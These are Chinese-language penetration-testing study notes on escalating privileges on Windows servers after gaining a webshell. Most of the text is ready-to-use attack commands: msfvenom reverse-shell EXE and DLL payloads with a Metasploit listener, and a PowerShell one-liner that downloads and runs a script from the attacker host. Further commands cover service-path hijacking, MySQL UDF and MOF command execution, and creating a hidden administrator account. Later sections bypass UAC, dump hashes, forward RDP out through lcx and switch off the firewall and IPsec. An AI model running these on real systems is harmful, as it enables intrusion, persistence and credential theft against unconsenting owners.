Windows提权学习笔记
Windows提权学习笔记
一 、漏洞提权
提权是指把普通用户的权限进行提升,也叫特权提升,在渗透测试中,通过是各种漏洞提升webshell权限以夺得服务器权限。webshell的权限根据不同的中间件权限也有所不同,如没经过特殊设置,webshell的权限是继承该中间件的权限。
例如,当我们在外网进行一系列操作后获得shell权限后,查看自己的权限,可以看到是iis_user 用户组,权限较低。
![image-20230722154521790](https://raw.githubusercontent.com/fdxsec/md_images/master/img/image-20230722154521790.png)
二、提权的常用方法
windows的常用提权方法,主要分为漏洞提权、windwos特性提权、第三方组件提权,数据库提权,ftp提权等。
1. 提权常用命令
systeminfo | findstr OS #获取系统版本信息
systeminfo&&wmic product get name,version&&wmic nic where PhysicalAdapter=True get MACAddress,Name&&wmic NICCONFIG WHERE IPEnabled=true GET IPAddress #检测系统软件包
hostname #获取主机名称
whoami /all #获取当前用户的详细信息
whoami /priv #显示当前用户的安全特权
net start #查看服务
quser #获取在线用户
query user #获取在线用户
netstat -ano | findstr 3389 #获取rdp连接(远程桌面协议)来源IP
dir c:\programdata\ #分析安装
wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber #获取远程端口
tasklist /svc | find "TermService" #获取服务pid
netstat -ano |find "pid" #获取远程端口
2. Windiws提权辅助脚本
提权辅助网页 Windows提权辅助 (hacking8.com)
(可利用命令
systeminfo > 1.txt
3 . windows漏洞提权流程
能够执行cmd命令->是否打补丁->补丁对应exp->获取服务器权限
执行命令的时候 aspx->php和asp
如果管理员删除服务器组件 wscript.shell 无法在asp执行cmd命令, 这个时候可以使用aspx的后门查看是否有权限执行cmd命令
4. 查询可写目录或文件
在确定可以执行cmd命令时,有些服务器会对目录进行权限设置,导致iis_user用户组没有权限对常见的目录进行写入和读取,这时可以用扫描可写目录脚本对目录进行遍历扫描,得到可写目录上传或下载 提权exp 或替换文件进行利用。
常见的脚本有wt.asp 红色表示文件可替换 蓝色表示目录可写
.net版本的wt.aspx 因为net的权限比asp 而且能访问注册表 所以除了常规扫描目录之外,还会读取注册
表软件目录进行目录扫描
5. 使用metasplit 提权
(1) 描述
metasplit 是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。
(2)提权过程
2.1在kali上生成反向连接后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.174.130 lport=12345 -f exe >s.exe
其中ip都是我们攻击主机kail的ip
正向连接和反向连接
正向连接
正向连接是受害主机监听一个端口,由控制主机主动去连接受害主机的过程,适用于受害主机具有公网IP情况下。例如下面,受害主机具有公网ip,被控主机kali可以通过ip地址访问到受害主机,所以能够使用正相连接来控制受害主机。
即:攻击机主动连接被攻击机
反向连接
反向连接是控制主机监听一个端口,由受害主机反向去连接控制主机的过程,适用于受害主机出网(或出网且没有公网ip)的情况。例如,受害主机是一台位于内网,并且没有公网ip且能访问互联网的主机,控制主机无法直接通过ip地址访问到受害主机。所以此时需要在控制主机上监听一个端口,让受害机主动连接控制主机,从而实现对控制主机的控制。
由于正向连接是被攻击者主动连接攻击者,所以不受防火墙策略的限制
即:被攻击机主动连接攻击机
2.2把生成的后门文件上传到可执行目录。
上传方式可以利用之前在外网获得的webshell,有时也可以采取钓鱼等操作。
2.3 进行反向连接
在kali上 使用 msfconsole 命令 启动metasplite
监听ip和端口这里的ip和端口要生成后门的端口和ip一致,ip可以设置成0.0.0.0 允许任何主机连接
入来但是存在风险(若果被溯源的情况下)。
msfconsole #启动msf
use exploit/multi/handler #加载模块
set payload windows/meterpreter/reverse_tcp #修改成我们之前生成木马时使用的payload
set lhost 192.168.174.130 #监听地址
set lport 12345 #监听端口
exploit # 或者run也行
2.4.在webshell里面允许后门
利用之前的webshell运行s.exe即可
2.5 获取meterpreter
获取系统信息和当前账号 发现权限较低。需要进行提权,提升当前所在服务器的权限。
2.6 特权提升
查询补丁
run post/windows/gather/enum_patch
然后可以利用hacking8的辅助脚本查找存在什么漏洞,然后使用模块进行提权
info exploit/windows/local/ms16_075_reflection_juicy #查看模块信息
use exploit/windows/local/ms16_075_reflection_juicy #使用模块
show options #查看需要设置什么参数
set SESSION 1 #设置SESSION 为1
exploit #运行
可以看到普通iis用户已经成功提权到系统权限
2.7 维持权限
系统是x64的 把后门迁移到别的进程
ps #列出进程号
migrate 2744 #注入explore进程中
三、Windows系统配置错误提权
1. 系统服务权限配置错误
(1)描述
Windows在系统启动时,会伴随着一些高权服务启动(windows服务是以system权限运行的)倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持,例如DLL劫持。
(2)漏洞介绍
windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。
windows服务是以system权限运行的,其文件夹、文件和注册表key-value都是受强制访问控制保护的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。
(3)复现
首先利用PrivescCheck这脚本加载模块并执行 列出可能存在问题的所有服务,分析能否利用。
git clone https://github.com/itm4n/PrivescCheck.git
在利用之前,我们先将下载的脚本上传到kail上,然后在上传的目录开启一个http服务
python -m SimpleHttpServer
正常访问kail的8000端口,确保可以远程下载脚本文件。
然后在我们在之前上传的webshell里面执行如下命令,脚本就可以帮我们列出来所有可能存在问题的服务。
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.174.130:8000/PrivescCheck.ps1'); Invoke-PrivescCheck"
记得把ip改成自己kail的ip。
然后按照上述使用metasplit提权讲的东西进行监听,并且生成metasplit的反向连接后门文件,然后在我们的webshell里面执行下列命令
sc stop UsoSvc #停止该服务
sc config usosvc binPath= "C:\s.exe" #更改该服务的配置路径
sc start UsoSvc #重新启动该服务
然后可以在我们的msf中获得到了一个shell连接,查看权限发现是系统权限,提权成功。
如果连接不稳定的话可以使用如下命令来自动进程迁移。
set AutoRunScript migrate -f
run
除了上面的方法,我们也可以使用msf自带的模块来尝试进行系统服务权限配置错误的提权。
Metasploit中的攻击模块 exploit/windows/local/service_permissions
service_permissions模块会使用,两种方式获取system权限,如果以管理员权限运行,会尝试创建并运行一个新的服务,如果当前权限不允许创建服务,会判断哪些服务的文件或文件夹的权限有问题,并对其进行劫持,在劫持服务时会创建一个可执行程序,其文件名和安装路径都是随机的。
我们重新起一个监听并在webshell里面执行6.exe,得到一个IIS用户组的权限,然后再利用该模块进行提权。
然后进行如下命令,
use exploit/windows/local/service_permissions
set session 6 #根据自己的session确定
run
提权成功。
2.不带引号的服务路径提权
1.描述
当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
2.举例说明
上面的描述可能有些抽象,下面我们举个例子来讲一下。
我们将提前准备好的Program.exe上传到C盘目录下,如图:
然后运行命令,
"C:\Program Files\WinRAR\Rar.exe"
我们发现他会按照双引号里面目录执行,
如果我们将双引号去掉,此时会寻找C盘下第一个实现Program的实例,然后会执行我们上传的文件。
3.复现
在我们的webshell里面执行如下命令
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:Windows" |findstr/i /v """
可以遍历出服务及相关的路径。
我们当我们找到存在空格以及可写的路径时,可以进行提权尝试。
2345看图王核心服务 2345PicSvc C:\Program Files(x86)\2345Soft\2345Pic\protect\Pic_2345Svc.exe Auto
2345王牌输入法核心服务 2345PinyinSvc C:\ProgramFiles(x86)\2345Soft\2345Pinyin\5.8.1.7232\Protect\Pinyin_2345Svc.exe Auto
如果C盘可写,我们像上面一样在C盘下写一个Program.exe,然后重启系统,获取管理员重启该服务的时候就会获取系统权限。
同样的我们将msf的后门文件写入到C盘,然后做好监听等工作,并设置进程自动迁移,
提权成功。
3.注册键AlwaysInstallElevated
1.描述
允许低权限用户以System权限安装文件。如果启用此策略设置项,那么任何权限的用户都以NTAuthority\System权限来安装恶意的MSI文件。 windows install是windows操作系统的组件之一,专门用来管理配置软件服务。它除了是一个安装程序,还用于管理软件的安装、组件的添加、删除、监视文件的还原、通过回滚进行灾难恢复。windows install通过msiexec.exe安装MSI文件,双击MSI文件就会运行msiexec.exe。 原理:是因为用户打开了windows installer 特权安装功能。
这种情况一般是比较少见的,因为需要管理员自己在组策略编辑器打开如下两个配置。
也可以用如下命令进行配置:
reg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
Reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
2.复现
我们利用COMahawk64.exe利用工具即可,它会利用该漏洞创建一个隶属于管理员用户组的用户,如下图,
可以看到我们创建用户的相关信息。
提权成功。
4.自动安装配置文件提权
漏洞描述
网络管理员在内网中给多台机器配置同一个环境的时候,一般会使用脚本进行批量部署,也就是会使用安装配置文件,这些文件中包含所有的安装配置信息,其中还有一些包含着本地管理员账号和密码。
可以用如下命令进行查找
dir /b /s c:\Unattend.x
或者使用msf的post/windows/gather/enum_unattend模块对这个配置文件扫描。
这个也只能碰碰运气,大概率是找不到有用的东西的。
5.本地dll劫持提权
1.漏洞原理
Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
这样的加载顺序很容易导致一个系统dll被劫持,因为只要攻击者将目标文件和恶意dll放在一起即可,导致恶意dll先于系统dll加载,而系统dll是非常常见的,所以当时基于这样的加载顺序,出现了大量受影响软件。
2.漏洞复现
程序运行一般会加载系统dll或本身程序自带的dll,如果我们将程序执行时需要加载的dll文件替换成木马程序,那么我们下次在启动程序时所加载的dll就是我们替换的那个木马程序了。
攻击过程:收集进程加载的dll-制作dll木马并上传-替换dll-启动应用后成功
利用工具:火绒剑,msf
msf制作dll木马文件的命令如下:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.106 lport=12345 -f dll > libcurl_x86.dll
四、第三方提权
当我们通过外网获取到webshell后,发现没有办法执行cmd命令时,可以考虑第三方提权,通过数据库查询的方式,来执行cmd命令。
1.SQL server提权
1.描述
如果网站里面使用的数据库是sqlserver 那么如果找到sa的密码,利用提权脚本,执行命令,但是不一定是系统权限,还要看管理员开始安装sqlserver的权限设置,一般情况是system权限或者pulic,均能执行命令。
2.敏感文件
web.config
config.asp
conn.aspx
database.aspx
3.复现
首先,用我们上传的webshell进行端口扫描,发现1433端口开放,可以确定有SQL server数据库。
使用mssql连接工具或者webshell net提权脚本输入账号和密码连接
开启xp_cmdshell
获取到shell,可以上传溢出提权工具 再来提高当前用户的权限。 有些时候是一个系统权限 主要还是要看目标管理员在开始安装sqlserver的时候给的是什么样的权限。
2.MySQL udf提权
udf即user define function,用户自定义函数,udf的设计初衷是为了方便用户自定义一些函数,方便查询一些复杂的数据,同时也增加了使用udf提权的可能。攻击者通过编写调用cmd或者shell的udf.dll文件,并且导入到一个指定的文件夹目录下,创建一个指向udf.dll的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。
提权流程如下:
1.首先需要获取目标的webshll,获得的这个webshell很明显权限很低,甚至连命令都无法执行。
2.因为服务器部署了mysql,所以就可以考虑使用mysql提权,所以需要找到MySQL的账户和密码。可以通过对文件的的浏览,找到了网站的配置文件,里面可以看到数据库的账户的密码都是以明文的形式存在的。还可以通过查看数据库的user.MYD文件,里面存的是用户的密码的hash值,获取了以后可以通过cmd5或者其他途径进行查找。
3.获取数据库用户密码后连接数据库执行:
show global variables like "secure%";
查询secure_file_priv有没有被配置,当secure_file_priv
被配置时,MySQL只能从指定的目录中读取或写入文件,而不能访问其他目录。这可以提高安全性,防止误操作或恶意代码在MySQL服务器上读取或写入敏感文件。下面是关于secure_file_priv的解释:
- 如果
secure_file_priv
未设置或被设置为空字符串,则MySQL服务器可以从任何位置读取或写入文件。这可能会增加系统的安全风险,因为MySQL可以访问文件系统上任何位置的文件。 - 当设置了
secure_file_priv
并指定了一个目录时,MySQL只允许从该目录读取或写入文件。例如,如果将secure_file_priv
设置为/var/mysql-files/
,则只能从该目录读取或写入文件。 - 设置
secure_file_priv
不影响MySQL的其他功能,如通过LOAD DATA INFILE语句加载数据或使用SELECT INTO OUTFILE语句将查询结果写入文件。这些操作仍然需要显式指定受影响的文件路径,并受到secure_file_priv
的限制。 - 配置
secure_file_priv
需要适当的权限。通常,只有具有SUPER权限的用户(如root或有管理员权限的用户)才能设置和更改该变量。
4.查看mysql的版本。发现是5.2版本,所以需要将dll文件放在lib\plugin目录下才可以生效,如果是5.1以下,需要放到 C:\Windows\system32下。
select version();
5.浏览目录,如果发现没有lib路径的存在,需要使用NTFS ADS进行创建(在获取到shell的情况下,如果权限够,也可以使用webshell管理工具创建。)
6.使用同样的方法创建plugin文件夹。
7.然后上传我们提前准备好的dll文件到指定目录,准备进行提权。
8.创建sys_eval函数,用于执行命令和回显
create function sys_eval returns string soname 'udf.dll';
9.执行命令
select sys_eval("whoami");
复现如下:
我们利用了暗月老师的moon.php文件,非常好用,我们连上数据库后直接导出udf,然后执行命令即可。
提权成功。
3.mof提权
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是 C:/Windows/system32/wbem/mof/ 目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。
其原理就是有了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
我们利用mof.php复现如下:
首先上传mof.php到目标文件夹中,访问并输入数据库连接密码连接上数据库。然后的输入我们的创建用户的命令执行即可。
net.exe user moonteam$ xxx12456 /add && net localgroup administrators moonteam$ /add\
成功创建用户moonteam$。
4.G6FTP 提权
1.描述
G6 FTP Server 新一代的 FTP 服务器端软件,支持 RFC-959 标准并增强其中的某些功能,上传和下载都可以续传,实时查看运行状态,占用带宽,还有很多功能。
2.原理
我们通过G6ftp,可以执行一些脚本,从而增加管理员用户或者可以上传一些恶意文件,利用前面提到的一些提权方法,进行提权。
G6FTP的默认端口为8021,只侦听在127.0.0.1的8021端口上,所以无法从外部直接访问,需要进行端口转发(使用lcx 工具(lcx 具有三个功能:监听、转发、端口转向))。
复现
在webshell访问 配置文件 C:\Program Files (x86)\Gene6 FTP Server\RemoteAdmin\Remote.ini
,获取到G6ftp的账户和密码。
利用cmd5进行解密,
由于G6Ftp只允许本机访问,我们利用上面的lcx.exe进行端口转发,再访问转发之后的端口即可访问G6ftp。
在攻击者上安装g6ftp 连接上服务端进行配置,
新加帐号之后直接利用ftp访问靶机的ftp服务,进行登录然后利用启动项提权,直接上传恶意后门文件,然后连接msf进行提权。
上传 Program.exe 系统重启时会自动
五、绕过uac bypassuac
1.描述
UAC(UserAccount Control,用户账户控制)简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。如下图所示,
为了远程执行目标的exe或者bat可执行文件绕过此安全机制,叫BypassUAC(不进行弹窗直接运行执行文件)。
2.复现
首先,我们已经利用msf得到了shell权限,但是权限不高,也没有办法执行交互式命令,因此需要通过bypassuac来提权,执行一些需要高权限才能执行的命令。
当我们获取到session后,先退出来,查找一些可用的bypassuac模块。
search
uac
通常使用 bypassuac模块 一般是可以绕过的,但是也不排除失败的可能,原理是通过进程注入使可信任发布者证书绕过Windows UAC。
use exploit/windows/local/bypassuac
set session 1
run
在这里失败了。
然后我们尝试利用其他的模块,exploit/windows/local/bypassuac_injecti
此模块将利用受信任的通过进程注入发布者证书。它将产生一个关闭UAC标志的第二个shell。此模块使用反射DLL注入技术,仅丢弃DLL有效负载二进制文件,而不是标准技术中的三个单独的二进制文件。但是,它需要选择正确的体系结构x64(也适用于SYSWOW64系统)。如果指定EXE::自定义DLL应在单独启动有效负载后调用ExitProcess()
然后我们此时如果直接进行hashdump的话可能会失败,我们需要进行进程迁移,将进程迁移到64位且具有高权限用户的进程下,再次hashdump,成功得到hash。
这里的值在内网移动时很有用。
六、lcx端口转发
1.描述
lcx是一款强大的内网端口转发工具,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口。它是一款命令行工具,当然也可以在有权限的webshell下执行,正因如此lcx常被认为是一款黑客入侵工具,lcx在内网入侵渗透中起着重要的角色。lcx进行端口转发的原理就是使不同端口之间形成一个回路。它常用于外网连接内网3389端口。
2.lcx命令
lcx.exe -listen <本地端口> <目标主机> <目标端口>
:在本地主机上监听指定的端口,并将传入的连接数据转发到目标主机的指定端口。lcx.exe -slave <LCX服务器IP> <LCX服务器端口> <本地主机> <本地端口>
:作为客户端连接到指定的 LCX 服务器,将接收到的数据转发到本地主机的指定端口。lcx.exe -tran <本地主机> <本地端口> <目标主机> <目标端口>
:在本地主机和目标主机之间直接建立连接,并将数据进行转发。
3.本地转发
本地转发在上面的G6ftp提权已经涉及过,它可以将本机一个不对外开放的端口上数据转发到一个对外开放的端口的数据,在这里不再赘述。
4.远程转发
远程转发 一般用于外网无法访问内网,内网可以访问外网,由内部发出请求到外网,所以防火墙不会拦截。
客户端除了可以在本地访问内网机子,也可以作为中间人,外部机子也能连接客户端到内网服务端
我们在获取到webshell后,在服务端执行命令 lcx.exe -slave 192.168.0.146 2333 127.0.0.1 3389
,命令将创建一个与 LCX 服务器相连的客户端,并建立一个从本地主机的端口 2333 到远程主机(本地主机)的端口 3389 的连接。
具体来说,该命令的参数解释如下:
-slave
: 指示 LCX 应作为客户端运行。192.168.0.146
: 指定 LCX 服务器的 IP 地址,即要连接的远程主机的 IP 地址。2333
: 指定 LCX 服务器的端口号,即要连接的远程主机的端口号。127.0.0.1
: 指定本地主机的 IP 地址,即客户端将转发数据的目标地址。3389
: 指定本地主机的端口号,即客户端将转发数据的目标端口号。
因此,执行该命令后,LCX 客户端将连接到指定的 LCX 服务器(192.168.0.146:2333),并将本地主机上的数据转发到本地主机的 3389 端口(即远程主机的 IP 地址为 127.0.0.1,端口号为 3389)。
在本地执行命令lcx -listen 51 2333
,命令将在本地主机上的端口 51 上启动 LCX 服务器,并侦听来自客户端的连接请求。一旦有客户端连接到该端口,LCX 将会建立与客户端的连接,并将接收到的数据转发至本地主机上的 2333 端口。
然后我们访问本机的51端口,即可访问到目标靶机的3389端口,即进行远程登陆。
七、远程终端问题集锦
1.描述
远程终端的默认端口是3389 云vps一般会开启 没有启用的情况下,在较高的权限下可以使用注册表命令进行开启。
2.注册表开启远程终端命令
2.1 2008 2012 2016 开启3389
echo DO ALL IN CMD!
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
2.2 MSF命令开启3389
run getgui
2.3 一条命令开启3389
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
2.4 WMIC命令开启3389
Win2k3/Win7/Win2k8/Win8.1/Win10/2012/2016(1:ON、0:OFF)
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections
前提条件是确保“Windows Management Instrumentation(Winmgmt)”服务已正常启动
2.5 WMIC开启远程主机3389
支持系统:
Win2k/XP/Win2k3
wmic /node:192.168.0.103 /user:administrator /password:betasec PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
支持系统:
Win7/Win2k8/Win8.1/Win10/2012/2016
wmic /node:192.168.0.116 /user:administrator /password:betasec RDTOGGLE WHERE ServerName='WIN-TO2CN3V2VPR' call SetAllowTSConnections 1
wmic /node:192.168.0.116 /user:administrator /password:betasec process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
注意事项:
其实就是利用WMIC远程执行命令的方式来执行WMIC、REG等开启3389端口的命令。
WMIC远程开启3389端口时不能用%COMPUTERNAME%环境变量替代远程主机的计算机名。
错误:描述 = 拒绝访问,这是因为开启了UAC用户账户控制,只允许RID500管理员执行此操作。
3.查询是否开启3389
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
(0为On 1为OF)
4.注册表查询端口号
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\
查看PortNumber,
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds" /s
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
set /a Port=0xd3d
通过网络命令查询
tasklist /svc | findstr "TermService"
netstat -ano | findstr "进程号"
net start |find "Remote Desktop Services"
5.关闭防火墙
确定开启了远程终端并且端口没错的情况下 还是连不上目标 目标上的防火墙可能允许,这个时候可以使
用lcx端口转发,或者使用命令关闭防火墙
netsh advfirewall show allprofile state #查询状态
netsh advfirewall set allprofiles state off #关闭防火墙
net stop "Windows Firewall" #关闭防火墙
sc config sharedaccess start= disabled #禁用防火墙
net stop sharedaccess #关闭防火墙
6.关闭 ipsec
IPsec(Internet Protocol Security)是为IP网络提供安全性的协议和服务的集合,它是VPN(Virtual Private Network,虚拟专用网)中常用的一种技术。 由于IP报文本身没有集成任何安全特性,IP数据包在公用网络如Internet中传输可能会面临被伪造、窃取或篡改的风险。通信双方通过IPsec建立一条IPsec隧道,IP数据包通过IPsec隧道进行加密传输,有效保证了数据在不安全的网络环境如Internet中传输的安全性。
在关闭防火墙时,还是连接不上,可能是ipsec做了ip策略处理,导致连接失败
可以使用命令 net stop "IPsec Policy Agent"
7.终端连接错误
可以使用相同版本的终端进行连接
或者使用 xfreerdp连接会自动加密
sudo apt install freerdp2-x11
xfreerdp /f /u:administrator /p:123456 /v:192.168.0.118
8.加入远程桌面组
net localgroup "Remote Desktop Users" moonsec /a
9.终端超出最大连接数
终端超出最大连接数时可用下面的命令来连接
mstsc /v:ip:3389 /console